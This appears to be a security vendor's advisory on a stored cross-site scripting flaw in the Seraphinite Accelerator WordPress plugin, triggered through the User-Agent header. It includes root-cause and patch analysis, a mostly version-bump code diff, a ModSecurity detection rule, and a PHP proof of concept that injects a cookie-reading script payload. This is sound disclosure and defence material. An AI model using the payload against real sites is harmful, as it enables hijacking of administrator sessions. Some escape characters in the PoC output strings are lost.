Published : November 19, 2026

CVE-2026-131804: Seraphinite Accelerator <= 2.31 Unauthenticated Stored Cross-Site Scripting via 'User-Agent' HTTP Header PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.31
Patched Version 2.31.1
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-131804: The Seraphinite Accelerator plugin for WordPress, versions up to and including 2.31, contains an unauthenticated stored cross-site scripting vulnerability (CWE-79) with a CVSS score of 7.2. The flaw resides in the diagnostic logging feature, where the plugin writes the raw HTTP User-Agent header into a log file and later renders that log in the admin interface without proper escaping. An unauthenticated attacker can inject arbitrary JavaScript that executes when an administrator views the debug log.

Root Cause: The vulnerability stems from a missing output escape in the debug log viewer. The plugin’s `options.php` file, around line 151, renders the log content via `Ui::TextArea`. The vulnerable code passes `$contLog` (which contains raw User-Agent strings) directly to `TextArea` without sanitization: `Ui::TextArea( null, $contLog, … )`. The log content is populated when the ‘Enable logging’ and ‘HTTP trace’ diagnostics are active, capturing `HTTP_USER_AGENT` verbatim. This is confirmed by related code in `cache_ex.php` line 1006 and `common.php` line 4368, which write User-Agent values into logs and views without escaping. Additionally, the patch in `common.php` lines 1927-1928 fixes XPath selectors to use `@data-seraph-accel-crit` instead of `@seraph-accel-crit`, correcting a separate HTML attribute handling issue. The core XSS root cause is the unescaped output of `$contLog` in the admin settings page.

Exploitation: An unauthenticated attacker sends a crafted HTTP request with a malicious User-Agent header to any page of the WordPress site. For example: `User-Agent: alert(document.cookie)`. If an administrator has previously enabled ‘Enable logging’ and ‘HTTP trace’ in Advanced → Debug settings, the plugin logs this header. When the administrator later views the debug log in the plugin’s settings page, the injected script executes in their browser. The attack requires no authentication and no nonce, and the payload is delivered via the standard HTTP User-Agent header.

Patch Analysis: The patch adds output escaping in `options.php` line 151 by wrapping `$contLog` with `Ui::EscHtml`: `Ui::TextArea( null, Ui::EscHtml( $contLog ), … )`. This ensures any HTML special characters in the log are encoded before rendering in the textarea, preventing script execution. The patch also updates version strings and fixes the XPath selectors in `common.php` lines 1927-1928 to use the correct `data-seraph-accel-crit` attribute, which prevents improper handling of critical CSS/JS tags, indirectly mitigating related header injection paths. Before the patch, the raw log was rendered as HTML; after, it is safely escaped.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to session hijacking, creation of rogue admin accounts, installation of malicious plugins, or full site compromise. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability, though the attack requires a non-default configuration and administrator interaction to view the log.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/seraphinite-accelerator/Cmn/Gen.php
+++ b/seraphinite-accelerator/Cmn/Gen.php
@@ -4068,7 +4068,7 @@
 		if( !isset( $args[ 'provider' ] ) )
 			$args[ 'provider' ] = 'CURL';
 		if( !isset( $args[ 'user-agent' ] ) )
-			$args[ 'user-agent' ] = 'seraph-accel-Agent/2.31';
+			$args[ 'user-agent' ] = 'seraph-accel-Agent/2.31.1';
 		if( !isset( $args[ 'timeout' ] ) )
 			$args[ 'timeout' ] = 5;

--- a/seraphinite-accelerator/Cmn/Plugin.php
+++ b/seraphinite-accelerator/Cmn/Plugin.php
@@ -316,7 +316,7 @@
 			$args[ 'epid' ] = Wp::GetSiteId();
 			$args[ 'id' ] = 'wordpress-accelerator';
 			$args[ 'name' ] = 'Accelerator';
-			$args[ 'v' ] = '2.31';
+			$args[ 'v' ] = '2.31.1';
 			$args[ 'pk' ] = 'Base';
 			$args[ 'cfg' ] = '';
 			$args[ 'loc' ] = Wp::GetLocale();
@@ -338,11 +338,11 @@
 		if( $lastCheckPackage === null && $lastCheckVer !== null )
 			$lastCheckPackage = 'Base';

-		if( $lastCheckVer !== '2.31' || $lastCheckPackage !== 'Base' )
+		if( $lastCheckVer !== '2.31.1' || $lastCheckPackage !== 'Base' )
 		{
 			$state = Plugin::StateGet();

-			if( $lastCheckVer !== '2.31' && !isset( $state[ 'changeVerCheck' ] ) )
+			if( $lastCheckVer !== '2.31.1' && !isset( $state[ 'changeVerCheck' ] ) )
 			{
 				$state[ 'changeVerCheck' ] = $lastCheckVer !== null ? $lastCheckVer : '';
 				Plugin::StateSet( $state );
@@ -359,7 +359,7 @@

 		if( !$bForce )
 		{
-			if( $bFirstTimeOnly && $lastCheckVer == '2.31' )
+			if( $bFirstTimeOnly && $lastCheckVer == '2.31.1' )
 				return( Gen::S_FALSE );

 			$lastUpdTime = ($data[ 'updTime' ]??null);
@@ -378,7 +378,7 @@
 			$args[ 'epid' ] = Wp::GetSiteId();
 			$args[ 'id' ] = 'wordpress-accelerator';
 			$args[ 'name' ] = 'Accelerator';
-			$args[ 'v' ] = '2.31';
+			$args[ 'v' ] = '2.31.1';
 			$args[ 'pk' ] = 'Base';
 			$args[ 'cfg' ] = '';
 			$args[ 'loc' ] = Wp::GetLocale();
@@ -395,7 +395,7 @@
 			if( $data[ 'mdfTime' ] >= $timeMdf )
 			{
 				$data[ 'updTime' ] = $curUpdTime;
-				$data[ 'plgVer' ] = '2.31';
+				$data[ 'plgVer' ] = '2.31.1';
 				$data[ 'plgPk' ] = 'Base';

 				$hr = PluginOptions::Set( self::STG_VER, self::STG_ID, $data, __CLASS__ . '::' );
@@ -412,7 +412,7 @@

 		$data[ 'mdfTime' ] = $timeMdf;
 		$data[ 'updTime' ] = $curUpdTime;
-		$data[ 'plgVer' ] = '2.31';
+		$data[ 'plgVer' ] = '2.31.1';
 		$data[ 'plgPk' ] = 'Base';

 		if( $timeMdf )
@@ -1564,10 +1564,10 @@
 		$rmtCfg = PluginRmtCfg::Get();

 		$urlProductInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductInfo' );
-		$urlAboutPluginImg = file_exists( __DIR__ . '/../Images/ProductLogo.png' ) ? add_query_arg( array( 'v' => '2.31' ), Plugin::FileUri( '../Images/ProductLogo.png', __FILE__ ) ) : null;
+		$urlAboutPluginImg = file_exists( __DIR__ . '/../Images/ProductLogo.png' ) ? add_query_arg( array( 'v' => '2.31.1' ), Plugin::FileUri( '../Images/ProductLogo.png', __FILE__ ) ) : null;
 		$urlAboutPluginDocs = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductDocs' );
 		$urlAboutPluginSupport = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductSupport' );
-		$url3rdPartySoft = file_exists( __DIR__ . '/../third-party-software.html' ) ? add_query_arg( array( 'v' => '2.31' ), Plugin::FileUri( '../third-party-software.html', __FILE__ ) ) : null;
+		$url3rdPartySoft = file_exists( __DIR__ . '/../third-party-software.html' ) ? add_query_arg( array( 'v' => '2.31.1' ), Plugin::FileUri( '../third-party-software.html', __FILE__ ) ) : null;

 		$urlEula = null;

@@ -1576,7 +1576,7 @@
 		$res .= Ui::Tag( 'p' );

 		{
-			$version = esc_html( '2.31' );
+			$version = esc_html( '2.31.1' );

 			$res .= Ui::TagOpen( 'div' );

@@ -1625,7 +1625,7 @@
 	{
 		$rmtCfg = PluginRmtCfg::Get();

-		$urlAboutUsLogoImg = file_exists( __DIR__ . '/../Images/VendorLogo.png' ) ? add_query_arg( array( 'v' => '2.31' ), Plugin::FileUri( '../Images/VendorLogo.png', __FILE__ ) ) : null;
+		$urlAboutUsLogoImg = file_exists( __DIR__ . '/../Images/VendorLogo.png' ) ? add_query_arg( array( 'v' => '2.31.1' ), Plugin::FileUri( '../Images/VendorLogo.png', __FILE__ ) ) : null;
 		$urlMorePlugins = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlMorePlugins' );
 		$urlMoreInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlMain' );

@@ -2154,7 +2154,7 @@
 				return( null );

 			$verFrom = self::_PrevVer_GetInt( $plgVerPrev );
-			$verTo = self::_PrevVer_GetInt( '2.31' );
+			$verTo = self::_PrevVer_GetInt( '2.31.1' );
 			if( $verTo < $verFrom )
 				list( $verTo, $verFrom ) = array( $verFrom, $verTo );

@@ -2279,7 +2279,7 @@
 			if( (self::$g_aAlreadyIncludedObj[ 'css' ][ $id ]??null) )
 				continue;

-			wp_enqueue_style( Plugin::CmnScriptId( $id ), add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.css' ), array(), '2.31' );
+			wp_enqueue_style( Plugin::CmnScriptId( $id ), add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.css' ), array(), '2.31.1' );

 			self::$g_aAlreadyIncludedObj[ 'css' ][ $id ] = true;
 		}
@@ -2346,7 +2346,7 @@

 			$scrHndId = Plugin::CmnScriptId( $id );

-			wp_register_script( $scrHndId, add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.js' ), $deps, '2.31' );
+			wp_register_script( $scrHndId, add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.js' ), $deps, '2.31.1' );
 			if( $id == 'Gen' )
 				Plugin::Loc_ScriptLoad( $scrHndId );
 			wp_enqueue_script( $scrHndId );
@@ -2791,7 +2791,7 @@

 							var sendDataUrl = "<?php echo( Gen::GetArrField( $rmtCfg, 'Questionnaires.SendAnswerUrlTpl' ) ); ?>";
 							sendDataUrl = sendDataUrl.replace( "{EndPointId}",					encodeURI( "<?php echo( Wp::GetSiteId() ); ?>" ) );
-							sendDataUrl = sendDataUrl.replace( "{PluginVersion}",				encodeURI( "2.31" ) );
+							sendDataUrl = sendDataUrl.replace( "{PluginVersion}",				encodeURI( "2.31.1" ) );
 							sendDataUrl = sendDataUrl.replace( "{PluginMode}",					encodeURI( "base" ) );
 							sendDataUrl = sendDataUrl.replace( "{PluginPackage}",				encodeURI( "Base" ) );
 							sendDataUrl = sendDataUrl.replace( "{QuestionnaireId}",				encodeURI( "<?php echo( ($q[ 'id' ]??null) ); ?>" ) );
--- a/seraphinite-accelerator/cache_ex.php
+++ b/seraphinite-accelerator/cache_ex.php
@@ -66,7 +66,7 @@
 		}

 	if( $bHdr )
-		@header( 'X-Seraph-Accel-Cache: 2.31;' . $debugInfo );
+		@header( 'X-Seraph-Accel-Cache: 2.31.1;' . $debugInfo );

 	if( $bLog )
 	{
@@ -1006,7 +1006,7 @@
 	if( ($settCache[ 'normAgent' ]??null) )
 	{
 		$_SERVER[ 'SERAPH_ACCEL_ORIG_USER_AGENT' ] = ($_SERVER[ 'HTTP_USER_AGENT' ]??'');
-		$_SERVER[ 'HTTP_USER_AGENT' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31';
+		$_SERVER[ 'HTTP_USER_AGENT' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31.1';
 	}

 	if( ($settCache[ 'views' ]??null) )
--- a/seraphinite-accelerator/common.php
+++ b/seraphinite-accelerator/common.php
@@ -1927,8 +1927,8 @@
 				'items' => array(
 					'.//img/@loading',
 					'.//iframe/@loading',
-					'.//link[@rel="preload"][@as="font"][not(self::node()[@seraph-accel-crit="1"])]',
-					'.//link[@rel="modulepreload"][not(self::node()[@seraph-accel-crit="1"])]',
+					'.//link[@rel="preload"][@as="font"][not(self::node()[@data-seraph-accel-crit="1"])]',
+					'.//link[@rel="modulepreload"][not(self::node()[@data-seraph-accel-crit="1"])]',
 				),
 			),
 			'rpl' => array(
@@ -4368,7 +4368,7 @@

 function GetViewTypeUserAgent( $viewsDeviceGrp )
 {
-	return( 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31 ' . ucwords( implode( ' ', Gen::GetArrField( $viewsDeviceGrp, array( 'agents' ), array() ) ) ) );
+	return( 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31.1 ' . ucwords( implode( ' ', Gen::GetArrField( $viewsDeviceGrp, array( 'agents' ), array() ) ) ) );
 }

 function CorrectRequestScheme( &$serverArgs, $target = null )
@@ -5978,7 +5978,7 @@

 	$args = array( 'sslverify' => false, 'timeout' => $timeout, 'headers' => array() );
 	if( $userAgentCmn )
-		$args[ 'headers' ][ 'User-Agent' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31';
+		$args[ 'headers' ][ 'User-Agent' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31.1';

 	if( $serverId = Net::UrlParse( $url ) )
 	{
@@ -6503,7 +6503,7 @@
 	foreach( $aHdrs as $hdrsId => $headers )
 	{
 		if( !isset( $headers[ 'User-Agent' ] ) )
-			$headers[ 'User-Agent' ] = ($headers[ 'X-Seraph-Accel-Postpone-User-Agent' ]??'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31');
+			$headers[ 'User-Agent' ] = ($headers[ 'X-Seraph-Accel-Postpone-User-Agent' ]??'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31.1');
 		$headers[ 'User-Agent' ] = str_ireplace( 'Seraph-Accel-Agent/', 'Seraph-Accel-Agent-WarmUp/', $headers[ 'User-Agent' ] );
 		unset( $headers[ 'X-Seraph-Accel-Postpone-User-Agent' ] );

--- a/seraphinite-accelerator/main.php
+++ b/seraphinite-accelerator/main.php
@@ -42,7 +42,7 @@

 function _AddMenus( $accepted = false )
 {
-	add_menu_page( Plugin::GetPluginString( 'TitleLong' ), Plugin::GetNavMenuTitle(), 'manage_options', 'seraph_accel_manage',																		$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent', Plugin::FileUri( 'icon.png?v=2.31', __FILE__ ) );
+	add_menu_page( Plugin::GetPluginString( 'TitleLong' ), Plugin::GetNavMenuTitle(), 'manage_options', 'seraph_accel_manage',																		$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent', Plugin::FileUri( 'icon.png?v=2.31.1', __FILE__ ) );
 	add_submenu_page( 'seraph_accel_manage', esc_html_x( 'Title', 'admin.Manage', 'seraphinite-accelerator' ), esc_html_x( 'Title', 'admin.Manage', 'seraphinite-accelerator' ), 'manage_options', 'seraph_accel_manage',	$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent' );
 	add_submenu_page( 'seraph_accel_manage', Wp::GetLocString( 'Settings' ), Wp::GetLocString( 'Settings' ), 'manage_options', 'seraph_accel_settings',										$accepted ? 'seraph_accel\_SettingsPage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent' );
 }
@@ -1314,7 +1314,7 @@
 function _ManagePage()
 {
 	Plugin::CmnScripts( array( 'Cmn', 'Gen', 'Ui', 'Net', 'AdminUi' ) );
-	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.31' );
+	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.31.1' );
 	Plugin::Loc_ScriptLoad( Plugin::ScriptId( 'Admin' ) );
 	wp_enqueue_script( Plugin::ScriptId( 'Admin' ) );

@@ -1560,7 +1560,7 @@
 {
 	$rmtCfg = PluginRmtCfg::Get();

-	$urlLogoImg = add_query_arg( array( 'v' => '2.31' ), Plugin::FileUri( 'Images/hosting-icon-banner.svg', __FILE__ ) );
+	$urlLogoImg = add_query_arg( array( 'v' => '2.31.1' ), Plugin::FileUri( 'Images/hosting-icon-banner.svg', __FILE__ ) );
 	$urlMoreInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlHostingInfo' );

 	$res = '';
--- a/seraphinite-accelerator/oper.php
+++ b/seraphinite-accelerator/oper.php
@@ -687,7 +687,7 @@

 					if( $ctx -> op == 1 )
 					{
-						if( Images_ProcessSrcSizeAlternatives_Cache_Cleanup( $siteDir . '/d', $ctx -> tmCur - $ctx -> timeout, array( $ctx, 'isAborted' ) ) === false )
+						if( $ctx -> timeout > 0 && Images_ProcessSrcSizeAlternatives_Cache_Cleanup( $siteDir . '/d', $ctx -> tmCur - $ctx -> timeout, array( $ctx, 'isAborted' ) ) === false )
 							return( false );

 						if( ExtContents_Local_CacheClean( $siteDir, $ctx -> tmCur - $ctx -> timeoutExtObj, $ctx -> tmCur, array( $ctx, 'isAborted' ) ) === false )
@@ -728,7 +728,7 @@
 					if( ($ctx -> datasDel[ $dataType ][ $dataId ]??null) )
 					{
 						$tmFile = @filemtime( $dataFile );
-						if( $tmFile !== false && $ctx -> tmCur - $tmFile > min( $ctx -> timeout, ( 48 * 60 * 60 ) ) )
+						if( $tmFile !== false && $ctx -> tmCur - $tmFile > ( $ctx -> timeout > 0 ? min( $ctx -> timeout, ( 48 * 60 * 60 ) ) : ( 48 * 60 * 60 ) ) )
 							@unlink( $dataFile );
 					}
 				}
@@ -1162,7 +1162,7 @@

 	foreach( $viewId === null ? array( 'cmn' ) : $viewId as $viewIdI )
 		if( CacheOpViewsHeadersGetViewId( $viewIdI ) == 'cmn' )
-			$res[ $viewIdI ] = array( 'User-Agent' => 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31' );
+			$res[ $viewIdI ] = array( 'User-Agent' => 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 Seraph-Accel-Agent/2.31.1' );

 	if( ($settCache[ 'views' ]??null) )
 	{
--- a/seraphinite-accelerator/options.php
+++ b/seraphinite-accelerator/options.php
@@ -151,7 +151,7 @@
 			function( $callbacks_args, $box )
 			{
 				extract( $box[ 'args' ] );
-				$o = Ui::TextArea( null, $contLog, array( 'wrap' => 'off', 'class' => 'code', 'style' => array( 'width' => '100%', 'min-height' => '17em', 'max-height' => '100em' ) ) );
+				$o = Ui::TextArea( null, Ui::EscHtml( $contLog ), array( 'wrap' => 'off', 'class' => 'code', 'style' => array( 'width' => '100%', 'min-height' => '17em', 'max-height' => '100em' ) ) );
 				echo( $o );
 			}
 			, get_defined_vars(), 'body', '', null
@@ -185,7 +185,7 @@
 	}

 	Plugin::CmnScripts( array( 'Cmn', 'Gen', 'Ui', 'Net', 'AdminUi' ) );
-	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.31' );
+	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.31.1' );
 	Plugin::Loc_ScriptLoad( Plugin::ScriptId( 'Admin' ) );
 	wp_enqueue_script( Plugin::ScriptId( 'Admin' ) );

--- a/seraphinite-accelerator/plugin_root.php
+++ b/seraphinite-accelerator/plugin_root.php
@@ -5,7 +5,7 @@
 Description: Turns on site high speed to be attractive for people and search engines.
 Text Domain: seraphinite-accelerator
 Domain Path: /languages
-Version: 2.31
+Version: 2.31.1
 Author: Seraphinite Solutions
 Author URI: https://www.s-sols.com
 License: GPLv2 or later (if another license is not provided)

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-131804
SecRule REQUEST_HEADERS:User-Agent "@rx <script[^>]*>" 
  "id:2026131804,phase:1,deny,status:403,msg:'CVE-2026-131804 via Seraphinite Accelerator User-Agent XSS',severity:'CRITICAL',tag:'CVE-2026-131804',tag:'XSS'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-131804 - Seraphinite Accelerator <= 2.31 - Unauthenticated Stored Cross-Site Scripting via 'User-Agent' HTTP Header

// This PoC demonstrates injection of a JavaScript payload via the User-Agent header.
// Prerequisites: Administrator must have enabled 'Enable logging' and 'HTTP trace' in Advanced -> Debug settings.
// The payload executes when an administrator views the debug log in the plugin settings.

$target_url = 'http://example.com/'; // Change to the target WordPress site URL

// Malicious User-Agent payload
$payload = '<script>alert("AtomicEdge_XSS_"+document.cookie)</script>';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $payload);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Send the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo "[-] Request failed: " . curl_error($ch) . "n";
} else {
    echo "[+] Request sent with payload in User-Agent. HTTP status: $http_coden";
    echo "[+] If logging and HTTP trace are enabled, the payload is stored in the debug log.n";
    echo "[+] An administrator viewing the log will execute the JavaScript.n";
}

// Note: This PoC does not verify execution; it only injects the payload.
// Actual exploitation requires the admin to visit the debug log page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.